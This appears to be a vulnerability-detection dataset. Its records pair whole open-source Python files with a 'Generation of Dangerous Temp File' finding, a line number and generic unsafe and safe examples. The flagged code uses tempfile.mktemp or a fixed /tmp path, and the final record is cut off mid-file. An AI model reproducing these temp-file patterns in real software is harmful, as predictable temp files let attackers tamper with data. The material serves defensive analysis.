{"spdx": ["Apache-2.0"], "repo": "xcat2/confluent", "path": "confluent_server/confluent/syncfiles.py", "repo_head_hexsha": "47a83f4628df48638c2aebbfbcddc1531aac20d0", "stack_hexsha": "8655870bbe029c575ef810e01964410eb82d6a13", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 236, "entireCode": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2021 Lenovo\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport glob\nimport os\nimport shutil\nimport tempfile\nimport confluent.sshutil as sshutil\nimport confluent.util as util\nimport confluent.noderange as noderange\nimport eventlet\nimport pwd\nimport grp\n\ndef mkdirp(path):\n try:\n os.makedirs(path)\n except OSError as e:\n if e.errno != 17:\n raise\n\ndef get_entries(filename):\n secname = 'REPLACE:'\n filename = filename.strip()\n if filename[-1] == '>':\n filename = filename[:-1]\n with open(filename, 'r') as slfile:\n slist = slfile.read()\n entries = slist.split('\\n')\n for ent in entries:\n ent = ent.split('#', 1)[0].strip()\n if not ent:\n continue\n if ent in ('APPENDONCE:', 'MERGE:', 'REPLACE:'):\n secname = ent\n if ent[0] == '<':\n subfilename = ent[1:]\n if subfilename[-1] == '>':\n subfilename = subfilename[:-1]\n if subfilename[0] != '/':\n subfilename = os.path.join(os.path.dirname(filename), subfilename)\n for subent in get_entries(subfilename):\n yield subent\n yield secname\n else:\n yield ent\n\nclass SyncList(object):\n def __init__(self, filename, nodename, cfg):\n slist = None\n self.replacemap = {}\n self.appendmap = {}\n self.appendoncemap = {}\n self.mergemap = {}\n self.optmap = {}\n entries = get_entries(filename)\n currmap = self.replacemap\n for ent in entries:\n try:\n cmtidx = ent.index('#')\n ent = ent[:cmtidx]\n except ValueError:\n pass\n for special in '$%^&|{}':\n if special in ent:\n raise Exception(\n 'Special character \"{}\" reserved for future use'.format(special))\n ent = ent.strip()\n if not ent:\n continue\n if ent[-1] == ':':\n if ent == 'MERGE:':\n currmap = self.mergemap\n elif ent == 'APPENDONCE:':\n currmap = self.appendoncemap\n elif ent == 'REPLACE:':\n currmap = self.replacemap\n else:\n raise Exception(\n 'Section \"{}\" is not currently supported in syncfiles'.format(ent[:-1]))\n continue\n if '->' in ent:\n k, v = ent.split('->')\n k = k.strip()\n v = v.strip()\n if ':' in v:\n nr, v = v.split(':', 1)\n for candidate in noderange.NodeRange(nr, cfg).nodes:\n if candidate == nodename:\n break\n else:\n continue\n optparts = v.split()\n v = optparts[0]\n optparts = optparts[1:]\n else:\n kparts = []\n optparts = []\n currparts = kparts\n for part in ent.split():\n if part[0] == '(':\n currparts = optparts\n currparts.append(part)\n k = ' '.join(kparts)\n v = None\n entopts = {}\n if optparts:\n if optparts[0][0] != '(' or optparts[-1][-1] != ')':\n raise Exception(\"Unsupported syntax in syncfile: \" + ent)\n opts = ','.join(optparts)\n opts = opts[1:-1]\n for opt in opts.split(','):\n optname, optval = opt.split('=')\n if optname == 'owner':\n try:\n uid = pwd.getpwnam(optval).pw_uid\n except KeyError:\n uid = None\n optval = {'name': optval, 'id': uid}\n elif optname == 'group':\n try:\n gid = grp.getgrnam(optval).gr_gid\n except KeyError:\n gid = None\n optval = {'name': optval, 'id': gid}\n entopts[optname] = optval\n currmap[k] = v\n targ = v if v else k\n for f in targ.split():\n self.optmap[f] = entopts\n\n\ndef sync_list_to_node(sl, node, suffixes):\n targdir = tempfile.mkdtemp('.syncto{}'.format(node))\n output = ''\n try:\n for ent in sl.replacemap:\n stage_ent(sl.replacemap, ent, targdir)\n if 'append' in suffixes:\n while suffixes['append'] and suffixes['append'][0] == '/':\n suffixes['append'] = suffixes['append'][1:]\n for ent in sl.appendmap:\n stage_ent(sl.appendmap, ent,\n os.path.join(targdir, suffixes['append']))\n if 'merge' in suffixes:\n while suffixes['merge'] and suffixes['merge'][0] == '/':\n suffixes['merge'] = suffixes['merge'][1:]\n for ent in sl.mergemap:\n stage_ent(sl.mergemap, ent,\n os.path.join(targdir, suffixes['merge']), True)\n if 'appendonce' in suffixes:\n while suffixes['appendonce'] and suffixes['appendonce'][0] == '/':\n suffixes['appendonce'] = suffixes['appendonce'][1:]\n for ent in sl.appendoncemap:\n stage_ent(sl.appendoncemap, ent,\n os.path.join(targdir, suffixes['appendonce']), True)\n sshutil.prep_ssh_key('/etc/confluent/ssh/automation')\n output = util.run(\n ['rsync', '-rvLD', targdir + '/', 'root@{}:/'.format(node)])[0]\n except Exception as e:\n if 'CalledProcessError' not in repr(e):\n # https://github.com/eventlet/eventlet/issues/413\n # for some reason, can't catch the calledprocesserror normally\n # for this exception, implement a hack workaround\n raise\n unreadablefiles = []\n for root, dirnames, filenames in os.walk(targdir):\n for filename in filenames:\n filename = os.path.join(root, filename)\n try:\n with open(filename, 'r') as _:\n pass\n except OSError as e:\n unreadablefiles.append(filename.replace(targdir, ''))\n if unreadablefiles:\n raise Exception(\"Syncing failed due to unreadable files: \" + ','.join(unreadablefiles))\n else:\n raise\n finally:\n shutil.rmtree(targdir)\n if not isinstance(output, str):\n output = output.decode('utf8')\n retval = {\n 'options': sl.optmap,\n 'output': output,\n }\n return retval # need dictionary with output and options\n\ndef stage_ent(currmap, ent, targdir, appendexist=False):\n dst = currmap[ent]\n everyfent = []\n allfents = ent.split()\n for tmpent in allfents:\n fents = glob.glob(tmpent)\n everyfent.extend(fents)\n if not everyfent:\n raise Exception('No matching files for \"{}\"'.format(ent))\n if dst is None: # this is to indicate source and destination as one\n dst = os.path.dirname(everyfent[0]) + '/'\n while dst and dst[0] == '/':\n dst = dst[1:]\n if len(everyfent) > 1 and dst[-1] != '/':\n raise Exception(\n 'Multiple files match {}, {} needs a trailing slash to indicate a directory'.format(ent, dst))\n fulltarg = os.path.join(targdir, dst)\n for targ in everyfent:\n mkpathorlink(targ, fulltarg, appendexist)\n\ndef mkpathorlink(source, destination, appendexist=False):\n if os.path.isdir(source):\n mkdirp(destination)\n for ent in os.listdir(source):\n currsrc = os.path.join(source, ent)\n currdst = os.path.join(destination, ent)\n mkpathorlink(currsrc, currdst)\n else:\n if destination[-1] == '/':\n mkdirp(destination)\n destination = os.path.join(destination, os.path.basename(source))\n else:\n mkdirp(os.path.dirname(destination))\n if appendexist and os.path.exists(destination):\n tmpnam = tempfile.mktemp()\n shutil.copy(destination, tmpnam)\n os.remove(destination)\n with open(destination, 'w') as realdest:\n with open(tmpnam) as olddest:\n realdest.write(olddest.read())\n with open(source) as sourcedata:\n realdest.write(sourcedata.read())\n os.remove(tmpnam)\n else:\n os.symlink(source, destination)\n\n\nsyncrunners = {}\n\n\ndef start_syncfiles(nodename, cfg, suffixes):\n deployinfo = cfg.get_node_attributes(\n nodename, ('deployment.*',))\n deployinfo = deployinfo.get(nodename, {})\n profile = deployinfo.get(\n 'deployment.pendingprofile', {}).get('value', '')\n if not profile:\n profile = deployinfo.get(\n 'deployment.stagedprofile', {}).get('value', '')\n if not profile:\n profile = deployinfo.get(\n 'deployment.profile', {}).get('value', '')\n if not profile:\n raise Exception('Cannot perform syncfiles without profile assigned')\n synclist = '/var/lib/confluent/public/os/{}/syncfiles'.format(profile)\n if not os.path.exists(synclist):\n return '200 OK' # not running\n sl = SyncList(synclist, nodename, cfg)\n if not (sl.appendmap or sl.mergemap or sl.replacemap or sl.appendoncemap):\n return '200 OK' # the synclist has no actual entries\n syncrunners[nodename] = eventlet.spawn(\n sync_list_to_node, sl, nodename, suffixes)\n return '202 Queued' # backgrounded\n\ndef get_syncresult(nodename):\n if nodename not in syncrunners:\n return ('204 Not Running', '')\n if not syncrunners[nodename].dead:\n return ('200 OK', '')\n result = syncrunners[nodename].wait()\n del syncrunners[nodename]\n return ('200 OK', result)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 235, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "235"}}, {"lineNo": 236, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "1eb509679d74090453f074b8268216dd327b7193afef09a9376500008ddf981d", "license": {"spdx": ["Apache-2.0"], "repo": "chriscoombs/aws-builders-fair-projects", "path": "reinvent-2019/connected-photo-booth/lambda_code/Cerebro_GetQRCode.py", "repo_head_hexsha": "eee405931030b833fa8c51e906c73d09ce051bcd", "stack_hexsha": "9c336d5aaf0a0461822389d24ee86c2449c67183", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 125, "entireCode": "import boto3\nimport json\nimport os\nimport logging\n\nfrom contextlib import closing\n\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\n\nfrom random import shuffle\n\nimport time\n\nimport pyqrcode\nimport png\n\n__BUCKET_NAME__ = \"project-cerebro\"\n\ndynamo = boto3.client('dynamodb')\nlogger = None\n\nprint(\"In initialize fn ...\")\n\nlogger = logging.getLogger()\nif int(os.environ['DEBUG_MODE']):\n logger.setLevel(logging.DEBUG)\nelse:\n logger.setLevel(logging.INFO)\n \nlogger.info(\"Initialize: Just a test\")\nlogger.debug(\"Initialize: debug a test\")\n\ndef create_presigned_url(bucket_name, object_name, expiration=3600):\n \"\"\"Generate a presigned URL to share an S3 object\n\n :param bucket_name: string\n :param object_name: string\n :param expiration: Time in seconds for the presigned URL to remain valid\n :return: Presigned URL as string. If error, returns None.\n \"\"\"\n\n # Generate a presigned URL for the S3 object\n s3_client = boto3.client('s3')\n try:\n response = s3_client.generate_presigned_url('get_object',\n Params={'Bucket': bucket_name,\n 'Key': object_name},\n ExpiresIn=expiration)\n except ClientError as e:\n logging.error(e)\n return None\n\n # The response contains the presigned URL\n return response\n\ndef respond(err, res=None):\n return {\n 'statusCode': '400' if err else '200',\n 'body': err.message if err else json.dumps(res),\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Origin': '*' \n },\n }\n\n# input parameters are:\n# 1. image ID\n# output parameters are:\n# 1. generated QRCode\n\n# workflow:\n# 1. first get the image_id\n# 2. confirm this exists in s3\n# 3. generate a presigned URL with this s3 path\n# 4. create a QR Code image with this url embedded\n# 5. return the QR code stored in S3 temp.\n\ndef main(event, context):\n \n logger.info(\"In main ...\")\n start_time = int(round(time.time() * 1000))\n\n body_params = json.loads(event[\"body\"])\n logger.debug(\"Body params:\")\n logger.debug(body_params)\n\n response_data = {}\n\n # 1. get the image_id\n if \"image_id\" in body_params:\n image_id = body_params[\"image_id\"]\n # prefix and check for existence\n s3_prefix = \"production/%s\" % image_id\n # 2. check for the object in s3\n s3 = boto3.resource('s3')\n s3_object = s3.Object(__BUCKET_NAME__, s3_prefix)\n obj_metadata = s3_object.load() # fetches metadata for the object, but not data.\n logger.info(\"metadata found:\")\n logger.info(obj_metadata)\n if obj_metadata:\n response_data[\"s3_image\"] = s3_prefix\n\n # 3. generate the presigned url\n presigned_url = create_presigned_url(bucket_name = __BUCKET_NAME__, object_name=s3_prefix, expiration=5*60)\n logger.info(\"generated the presigned URL:\")\n logger.info(presigned_url)\n if presigned_url:\n response_data[\"presigned_url\"] = presigned_url\n logger.info(\"assigned presigned url\")\n\n # 4. generate the qrcode, convert to png\n url = pyqrcode.create(presigned_url)\n url.png('/tmp/code.png', scale=5)\n logger.info(\"Created a png file by now!\")\n\n # 5. save to s3\n target_file='/tmp/code.png'\n qrcode_key = \"qrcodes/current_qrcode.png\"\n\n logger.info(\"Now trying to put s3 object ...\")\n # Create an S3 client\n s3 = boto3.client('s3')\n response = s3.put_object(\n Body=open(target_file, 'rb'), \n Bucket=__BUCKET_NAME__, \n Key=qrcode_key)\n logger.info(\"Now trying to put s3 object - completed!\")\n\n response_data[\"qrcode_key\"] = qrcode_key\n\n else:\n response_data[\"result\"] = \"Failure\"\n return respond(None, response_data)\n\n end_time = int(round(time.time() * 1000))\n logger.info(\"Time Taken: %f\" % (end_time - start_time))\n logger.info(\"Done with main!\")\n\n response_data[\"result\"] = \"Success\"\n response_data[\"time_taken\"] = str(end_time - start_time)\n\n return respond(None, response_data)\n\ndef lambda_handler(event, context):\n return main(event, context)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 108, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "108"}}, {"lineNo": 125, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "f1f2cf3b112e41241229140a6261e2d585f3152d57bc9a3378c3323c1157d7ba", "license": {"spdx": ["MIT"], "repo": "TCatshoek/lstar", "path": "suls/mealymachine.py", "repo_head_hexsha": "042b0ae3a0627db7a412c828f3752a9c30928ec1", "stack_hexsha": "67d27163450c56993ca54027a1f3ba12395df50b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 118, "entireCode": "\n# Need this to fix types\nfrom __future__ import annotations\n\nimport tempfile\nimport threading\nfrom typing import Union, Iterable, Dict, Tuple\nfrom suls.sul import SUL\n\nfrom graphviz import Digraph\n\nimport random\nfrom itertools import product\n\nclass MealyState:\n def __init__(self, name: str, edges: Dict[str, Tuple[MealyState, str]] = None):\n if edges is None:\n edges = {}\n\n self.name = name\n self.edges = edges\n\n def __str__(self):\n return f'[MealyState: {self.name}, edges: {[f\"{a}/{o}:{n.name}\" for a, (n, o) in self.edges.items()]}]'\n\n def add_edge(self, action: str, output: str, other_state: MealyState, override=False):\n if override:\n self.edges[action] = (other_state, output)\n else:\n if action not in self.edges.keys():\n self.edges[action] = (other_state, output)\n else:\n raise Exception(f'{action} already defined in state {self.name}')\n\n def next(self, action) -> Tuple[MealyState, str]:\n if action in self.edges.keys():\n return self.edges.get(action)\n else:\n raise Exception(f'Invalid action {action} from state {self.name}')\n\n def next_state(self, action) -> MealyState:\n if action in self.edges.keys():\n return self.edges.get(action)[0]\n else:\n raise Exception(f'Invalid action {action} from state {self.name}')\n\n\n# A statemachine can represent a system under learning\nclass MealyMachine(SUL):\n def __init__(self, initial_state: MealyState):\n self.initial_state = initial_state\n self.state: MealyState = initial_state\n\n def __str__(self):\n states = self.get_states()\n\n #Hacky backslash thing\n tab = '\\t'\n nl = '\\n'\n return f'[MealyMachine: \\n { nl.join([f\"{tab}{str(state)}\" for state in states]) } ' \\\n f'\\n\\n\\t[Initial state: {self.initial_state.name}]' \\\n f'\\n]'\n\n # Performs a bfs to gather all reachable states\n def get_states(self):\n to_visit = [self.initial_state]\n visited = []\n\n while len(to_visit) > 0:\n cur_state = to_visit.pop()\n if cur_state not in visited:\n visited.append(cur_state)\n\n for action, (other_state, output) in cur_state.edges.items():\n if other_state not in visited and other_state not in to_visit:\n to_visit.append(other_state)\n\n return visited\n\n # Traverses all states and collects all possible actions (i.e. the alphabet of the language)\n def get_alphabet(self):\n states = self.get_states()\n actions = set()\n\n for state in states:\n actions = actions.union(set(state.edges.keys()))\n\n #print(actions)\n\n return actions\n\n # Runs the given inputs on the state machine\n def process_input(self, inputs):\n last_output = None\n\n if not isinstance(inputs, Iterable):\n inputs = [inputs]\n\n for input in inputs:\n try:\n nextstate, output = self.state.next(input)\n #print(f'({self.state.name}) ={input}=> ({nextstate.name})')\n self.state = nextstate\n last_output = output\n except Exception as e:\n #print(e)\n return \"invalid_input\"\n\n return last_output\n\n def reset(self):\n self.state = self.initial_state\n\n def render_graph(self, filename=None, format='pdf', render_options=None):\n\n def render(filename, render_options):\n if filename is None:\n filename = tempfile.mktemp('.gv')\n if render_options is None:\n render_options = {}\n\n # Extract color options if present\n node_color = {}\n if 'node_attributes' in render_options:\n for state, attributes in render_options['node_attributes'].items():\n if 'color' in attributes:\n node_color[state] = attributes['color']\n\n g = Digraph('G', filename=filename)\n g.attr(rankdir='LR')\n\n # Collect nodes and edges\n to_visit = [self.initial_state]\n visited = []\n\n # Hacky way to draw start arrow pointing to first node\n g.attr('node', shape='none')\n g.node('startz', label='', _attributes={'height': '0', 'width': '0'})\n\n # Draw initial state\n g.attr('node', shape='circle')\n\n if self.initial_state in node_color:\n g.node(self.initial_state.name, color=node_color[self.initial_state], style='filled')\n else:\n g.node(self.initial_state.name)\n\n g.edge('startz', self.initial_state.name)\n\n while len(to_visit) > 0:\n cur_state = to_visit.pop()\n visited.append(cur_state)\n\n g.attr('node', shape='circle')\n for action, (other_state, output) in cur_state.edges.items():\n # Draw other states, but only once\n if other_state not in visited and other_state not in to_visit:\n to_visit.append(other_state)\n if other_state in node_color:\n g.node(other_state.name, color=node_color[other_state], style='filled')\n else:\n g.node(other_state.name)\n\n\n # Draw edges too\n ignore_self_edges = []\n ignore_edges = []\n\n if 'ignore_self_edges' in render_options:\n ignore_self_edges = render_options['ignore_self_edges']\n if 'ignore_edges' in render_options:\n ignore_edges = render_options['ignore_edges']\n\n if (not (any([output.startswith(x) for x in ignore_self_edges]) and other_state == cur_state)) \\\n and not(any([output.startswith(x) for x in ignore_edges])):\n g.edge(cur_state.name, other_state.name, label=f'{action}/{output}')\n\n if format != None:\n g.render(format=format, view=True)\n else:\n g.save()\n\n\n renderthread = threading.Thread(target=render, args=(filename, render_options))\n renderthread.start()\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "117"}}, {"lineNo": 118, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "e123d2235e7070c109ede63cb1f58d67891df3c481d359d82d02c7a248b3c9a3", "license": {"spdx": ["MIT"], "repo": "DasAnish/TutorMatch", "path": "main.py", "repo_head_hexsha": "1b2cf3a71e859f519d645dc33edf72a975661066", "stack_hexsha": "c51fefbd501d6ac95a99920e7040a7192440ef23", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 468, "entireCode": "from backend import Backend, Tutor, Parent\nfrom kivy.app import App\nfrom kivy.base import Builder\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.label import Label\nfrom kivy.uix.button import Button\nfrom kivy.properties import ObjectProperty\nfrom kivy.core.window import Window\nfrom kivy.uix.image import Image\nfrom kivy.config import Config\nfrom kivy.graphics import *\nfrom kivy.animation import *\nfrom kivy.graphics import RoundedRectangle\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.slider import Slider\nfrom kivy.uix.togglebutton import ToggleButton\nfrom kivy.uix.popup import Popup\nfrom backend import Backend, Match, Level\nimport os\n\n#Builder.load_file(\"kivyFiles/main.kv\")\nphotoHeight = 550\nphotoWidth = 340\n\nparent = {'username':'kelvincfleung', 'password':'', 'fname':'Kelvin', 'lname':'Leung1', 'rateMin':10, 'rateMax':20, 'subject':'maths', 'level':1}\nparentObj = Parent('61467ec2c2c5a2e917994d69')\nparentObj.updateInfo(parent)\n\n\ndef getOrDefault(dictionary, key, default):\n if key in dictionary:\n return dictionary[key]\n else:\n return default\n\n\nclass PersonSingleTon:\n\n __instance = None\n\n @staticmethod\n def getInstance():\n if PersonSingleTon.__instance is None:\n PersonSingleTon()\n\n return PersonSingleTon.__instance\n\n def __init__(self):\n if PersonSingleTon.__instance is not None:\n raise Exception(\"Singleton: PersonSingleton\")\n\n PersonSingleTon.__instance = self\n\n self.person = parentObj\n self.isTutor = False\n\n\ndef AddTextWithBack(widget, string, pos):\n if string is None or string.strip(\" \") == \"\":\n return 0, None\n string = str(string)\n with widget.canvas:\n Color(0.95, 0.95, 0.95)\n back = RoundedRectangle(pos=pos, size=(0, 0))\n label = Label(text=string, pos=(pos[0]-40, pos[1]+3), color=(0, 0, 0), halign=\"left\")\n label.texture_update()\n back.size = (label.texture_size[0] + 20, label.texture_size[1] + 10)\n label.size[1] = label.texture.size[1]\n label.pos = (label.pos[0] + label.texture.size[0] / 2, label.pos[1] - back.size[1])\n back.pos = (back.pos[0], back.pos[1] - back.size[1])\n widget.add_widget(label)\n return back.size[1], label\n\n\nclass ChangePageButton(Button):\n def __init__(self, PM, page, pos, size, source, color=(1, 1, 1), **kwargs):\n super(ChangePageButton, self).__init__(**kwargs)\n self.PM = PM\n self.page = page\n self.pos = pos\n self.size = size\n self.color = color\n self.background_normal = source\n self.background_down = source.replace(\".png\", \"\") + \"Down\" + \".png\"\n self.bind(on_press=self.pressed)\n\n def pressed(self, instance):\n self.PM.goToPage(self.page)\n\n\nclass FadeBetweenButton(Button):\n def __init__(self, images, pos, size, **kwargs):\n super(FadeBetweenButton, self).__init__(**kwargs)\n self.faded = 0\n self.images = images\n self.pos = pos\n self.size = size\n self.opacity = 0\n self.bind(on_press=self.pressed)\n def pressed(self, instance):\n if (self.faded == 0):\n Animation(opacity=0.5, duration=0.4).start(self.images[0])\n Animation(opacity=1, duration=0.4).start(self.images[1])\n else:\n Animation(opacity=1, duration=0.4).start(self.images[0])\n Animation(opacity=0, duration=0.4).start(self.images[1])\n self.faded = (self.faded + 1 ) % 2\n\n\nclass AcceptCardButton(Button):\n def __init__(self, page, source, pos, size, **kwargs):\n super(AcceptCardButton, self).__init__(**kwargs)\n self.background_normal = source\n self.background_down = source.replace(\".png\", \"\") + \"Down\" + \".png\"\n self.page = page\n self.pos = pos\n self.size = size\n self.bind(on_press=self.pressed)\n self.tutorObj = None\n def pressed(self, instance):\n parentObj = PersonSingleTon.getInstance().person\n\n match = Match(parentObj, self.tutorObj)\n\n Backend.sendLike(match)\n\n self.page.nextCard()\n # send match request\n\n parentObj = PersonSingleTon.getInstance()\n\n match = Match(parentObj, self.tutorObj)\n\n Backend.sendLike(match)\n\n\nclass RejectCardButton(Button):\n def __init__(self, page, source, pos, size, **kwargs):\n super(RejectCardButton, self).__init__(**kwargs)\n self.background_normal = source\n self.background_down = source.replace(\".png\", \"\") + \"Down\" + \".png\"\n self.page = page\n self.pos = pos\n self.size = size\n self.bind(on_press=self.pressed)\n self.tutorObj = None\n def pressed(self, instance):\n self.page.nextCard()\n\n\nclass AcceptRequestButton(Button):\n def __init__(self, page, request, label, source, pos, size, match, **kwargs):\n super(AcceptRequestButton, self).__init__(**kwargs)\n self.background_normal = source\n self.background_down = source.replace(\".png\", \"\") + \"Down\" + \".png\"\n self.pos = pos\n self.size = size\n self.bind(on_press=self.pressed)\n self.request = request\n self.page = page\n self.label = label\n self.match = match\n def pressed(self, instance):\n self.page.remove_widget(self.request)\n self.page.requestInfo.remove(self.label.text)\n self.page.updateRequests()\n # Confirm tutoring\n Backend.accept(self.match)\n # accept match\n tutorMatchesPage.updateMatches()\n\n\nclass RejectRequestButton(Button):\n def __init__(self, page, request, label, source, pos, size, match, **kwargs):\n super(RejectRequestButton, self).__init__(**kwargs)\n self.background_normal = source\n self.background_down = source.replace(\".png\", \"\") + \"Down\" + \".png\"\n self.pos = pos\n self.size = size\n self.bind(on_press=self.pressed)\n self.request = request\n self.label = label\n self.page = page\n self.match = match\n def pressed(self, instance):\n self.page.remove_widget(self.request)\n self.page.requestInfo.remove(self.label.text)\n self.page.updateRequests()\n # Reject tutoring\n # reject match\n Backend.reject(self.match)\n tutorMatchesPage.updateMatches()\n\n\nclass Card(Widget):\n def __init__(self, image, **kwargs):\n super(Card, self).__init__(**kwargs)\n self.image = image\n\n\n\nclass SignInPage(Widget):\n def __init__(self, **kwargs):\n super(SignInPage, self).__init__(**kwargs)\n\n\nclass ParentHomePage(Widget):\n def __init__(self, **kwargs):\n super(ParentHomePage, self).__init__(**kwargs)\n #self.cards = [[\"images/kelvin1.png\", [\"\", \"BA Mathematics, Cambridge\",\n # \"Tutors in:\\n- Maths,\\n- Physics,\\n- Computer science\",\n # \"For GCSE & A-Level students\", \"£30+/hr\"]],\n # [\"images/businessMan.png\", [\"\", \"PhD Mathematics, Cambridge\",\n # \"Tutors in: \\n- Nothing\", \"£'a lot'/hr\"]]]\n self.card = None\n\n # Yes/no buttons\n self.noButton = RejectCardButton(self, \"images/noButton.png\", (20, 100), (70, 70))\n self.yesButton = AcceptCardButton(self, \"images/yesButton.png\", (Window.width-90, 100), (70, 70))\n\n #self.noButton = Button(pos=(20, 100), size=(70, 70), background_normal=\"images/noButton.png\",\n # background_down=\"images/noButtonDown.png\")\n #self.yesButton = Button(pos=(Window.width-90, 100), size=(70, 70), background_normal=\"images/yesButton.png\",\n # background_down=\"images/yesButtonDown.png\")\n\n self.nextTutor = Backend.nextTutor()\n self.card = self.nextCard()\n\n def nextCard(self):\n # next tutor function\n nextItem = next(self.nextTutor, None)\n self.yesButton.tutorObj = nextItem\n self.noButton.tutorObj = nextItem\n print(nextItem.id, nextItem.fname)\n\n showYesNo = True\n\n if not nextItem:\n #: Handle end of cards\n info = []\n image = \"images/businessMan.png\"\n print(\"no cards left\")\n showYesNo = False\n #pass\n else:\n info = [f\"{nextItem.fname} {nextItem.lname}\",\n nextItem.qualification,\n f\"Tutors in:\\n\" +'\\n'.join(nextItem.subject),\n f\"£{nextItem.rateMin}+/hr\"]\n image = \"images/kelvin1.png\"\n\n # Image formatting\n img = Image(source=image, allow_stretch=True, pos=(10, 80),\n size=(photoWidth, photoHeight))\n if img.texture_size[1]/img.texture_size[0] > photoHeight/photoWidth:\n img.texture = img.texture.get_region(0, (img.texture_size[1] - img.texture_size[0] * photoHeight/photoWidth)/2, img.texture_size[0], img.texture_size[0] * photoHeight/photoWidth)\n else:\n img.texture = img.texture.get_region((img.texture_size[0] - img.texture_size[1] * photoWidth/photoHeight) / 2, 0, img.texture_size[1] * photoWidth/photoHeight, img.texture_size[1])\n card = Card(img)\n if (self.card != None):\n card.pos = (Window.width - photoWidth, self.card.pos[1])\n else:\n card.pos = (0, 0)\n card.add_widget(img)\n card.add_widget(Image(source=\"images/gradient.png\", pos=(10, 80), size=(photoWidth, photoHeight)))\n card.add_widget(Image(source=\"images/border.png\", pos=(10, 80), size=(photoWidth, photoHeight)))\n\n # Info formatting\n infoLabels = Widget(pos=(0, 0))\n startPos = (20, 600)\n pad = 20\n for string in info:\n height, label = AddTextWithBack(infoLabels, string, startPos)\n if (label is not None):\n startPos = (startPos[0], startPos[1] - height - pad)\n infoLabels.opacity = 0\n card.add_widget(infoLabels)\n\n # Tap to fade\n fadeButton = FadeBetweenButton([img, infoLabels], img.pos, img.size)\n card.add_widget(fadeButton)\n\n self.add_widget(card)\n self.remove_widget(self.card)\n\n #if (self.card != None):\n #print(\"hello\")\n #Animation(pos=(self.card.pos[0], self.card.pos[1]), duration=0.4).start(card)\n #Animation(size=(0, 0), duration=0.4).start(self.card)\n\n #self.remove_widget(self.card)\n\n self.remove_widget(self.noButton)\n self.add_widget(self.noButton)\n self.remove_widget(self.yesButton)\n self.add_widget(self.yesButton)\n return card\n\n\nclass TutorHomePage(Widget):\n def __init__(self, **kwargs):\n super(TutorHomePage, self).__init__(**kwargs)\n global tutorHomePage\n tutorHomePage = self\n self.add_widget(Label(text=\"Requests\", color=(0, 0, 0), pos=(60, 550), font_size=\"40sp\"))\n self.requests = []\n #: get requested matched\n self.requestInfo = []\n self.listOfMatches = []\n #[\"Villar\\nKS3 Mathematics, 5/hr\", \"Kiln\\nKS2 English, £600/hr\", \"Das\\nGCSE Spanish, £60/hr\",\n # \"Samuels\\nA-Level Chemistry, £30/hr\"]\n self.updateRequests()\n\n def 